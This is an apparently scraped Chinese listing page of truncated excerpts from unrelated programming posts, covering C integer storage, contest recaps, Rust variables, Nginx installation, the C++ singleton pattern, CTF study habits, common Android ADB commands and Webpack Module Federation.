目录 1. 数据类型介绍 1.1 类型的基本归类 2. 整形在内存中的存储 2.1 原码、反码、补码 2.2 大小端介绍 2.3 一道小题 本章重点 1. 数据类型详细介绍 2. 整形在内存中的存储&#xff1a;原码、反码、补码 3. 大小端字节序介绍及判断 4. 浮点型在内存中的存储解析 正文…...

CF Edu 130 A-D vp 补题

CF Edu 130 A-D vp 补题 数模也是终于结束了。开始恢复vp。今天这场vp发挥比上次好一些&#xff0c;三题rank3600。A&#xff0c;B题做的很顺利。C题标记没弄全多WA了两发。D题是个交互题&#xff0c;也是研究了一下。基本思路正确。 题目链接 A. Parkway Walk 贪心 题意&am…...

4707: 统计数字个数

描述给定一个非负整数a&#xff0c;求其中含有数字b的个数&#xff08;0<a<2147483647&#xff0c;0<b<9&#xff09;。如100001中含所有0的个数为4&#xff0c;1的个数为2。输入输入数据有多组&#xff0c;每组一行&#xff0c;每行为两个整数&#xff0c;即a和b&…...

ChatGPT 编写模式:如何高效地将思维框架赋予 AI ?

如何理解 Prompt &#xff1f;Prompt Enginneeringprompt 通常指的是一个输入的文本段落或短语&#xff0c;作为生成模型输出的起点或引导。prompt 可以是一个问题、一段文字描述、一段对话或任何形式的文本输入&#xff0c;模型会基于 prompt 所提供的上下文和语义信息&#x…...

Leetcode力扣秋招刷题路-0099

从0开始的秋招刷题路&#xff0c;记录下所刷每道题的题解&#xff0c;帮助自己回顾总结 99. 恢复二叉搜索树 给你二叉搜索树的根节点 root &#xff0c;该树中的 恰好 两个节点的值被错误地交换。请在不改变其结构的情况下&#xff0c;恢复这棵树 。 示例 1&#xff1a; 输入…...

变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析

一、变量声明设计&#xff1a;let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性&#xff0c;这种设计体现了语言的核心哲学。以下是深度解析&#xff1a; 1.1 设计理念剖析 安全优先原则&#xff1a;默认不可变强制开发者明确声明意图 let x 5; …...

【杂谈】-递归进化:人工智能的自我改进与监管挑战

递归进化&#xff1a;人工智能的自我改进与监管挑战 文章目录 递归进化&#xff1a;人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管&#xff1f;3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...

基于服务器使用 apt 安装、配置 Nginx

&#x1f9fe; 一、查看可安装的 Nginx 版本 首先&#xff0c;你可以运行以下命令查看可用版本&#xff1a; apt-cache madison nginx-core输出示例&#xff1a; nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

三体问题详解

从物理学角度&#xff0c;三体问题之所以不稳定&#xff0c;是因为三个天体在万有引力作用下相互作用&#xff0c;形成一个非线性耦合系统。我们可以从牛顿经典力学出发&#xff0c;列出具体的运动方程&#xff0c;并说明为何这个系统本质上是混沌的&#xff0c;无法得到一般解…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

MFE(微前端) Module Federation:Webpack.config.js文件中每个属性的含义解释

以Module Federation 插件详为例&#xff0c;Webpack.config.js它可能的配置和含义如下&#xff1a; 前言 Module Federation 的Webpack.config.js核心配置包括&#xff1a; name filename&#xff08;定义应用标识&#xff09; remotes&#xff08;引用远程模块&#xff0…...